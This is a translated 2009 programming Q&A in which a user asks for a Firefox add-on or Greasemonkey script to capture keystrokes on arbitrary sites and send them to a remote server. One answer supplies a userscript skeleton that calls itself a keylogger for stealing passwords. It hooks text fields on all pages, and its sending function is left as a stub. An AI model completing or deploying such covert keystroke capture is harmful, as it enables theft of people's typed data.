2009-08-30 96 views
-3

我正在開發分析用戶的鍵入模式的應用程序。爲了實現這一點,我需要更改用戶所在網頁的HTML(例如yahoo.com) - 對於頁面中的所有文本框項目,添加一些JavaScript函數以捕獲按鍵和關鍵事件。所以,我需要能夠添加一個新的JavaScript到這個現有的頁面。這些功能將打包數據並將其發送到遠程服務器(例如myApp.com)。Firefox插件或greasemonkey腳本插入javascript

我需要幫助:

  1. 插入JavaScript來一個HTML頁面
  2. 添加在上面添加到所有textarea元素在網頁中
  3. A中的JavaScript中定義的一些功能將數據從上述JavaScript傳輸到遠程服務器(即不是服務於原始頁面的服務器)的方法

Firefox插件是最好的bu t Greasemonkey腳本也行...

謝謝!

+9

您爲什麼需要鑰匙記錄器? – 2009-08-30 06:03:11

+0

你有什麼嘗試?你有沒有開始建造任何東西?你遇到了哪些具體問題? – 2009-08-30 06:04:34

+0

分析按鍵和打包數據的javascript已準備就緒。我有一個測試頁面,其中包含一個文本框並允許捕獲用戶輸入。我現在需要與其他網頁進行整合,並需要幫助才能開始。 – user162916 2009-08-30 06:13:37

回答

0

如果你不介意只在Firefox上運行,那麼我建議Mozilla Jetpack

如果你很高興與jQuery合作,這是一個非常熟悉的環境。

0

這是您需要獲取keyup和keydown事件的代碼。

// ==UserScript== 
// @name   Log-O-Matic 
// @description A keylogger to steal your password and money ^^ 
// @include  http*://* 
// ==/UserScript== 

var collected_data=""; 
function collect(event){ collected_data+="/"+event.keyCode;} 
function send_home(){ /* use GM_xmlhttprequest here to send collected_data */} 
var textareas = document.getElementsByTagName("textarea"); 
for(i in textareas) { 
    textareas[i].onKeyPress=collect; 
} 
var inputs = document.getElementsByTagName("input"); 
for(i in input) { 
    if(input[i].type!="password")input[i].onKeyPress=collect; 
}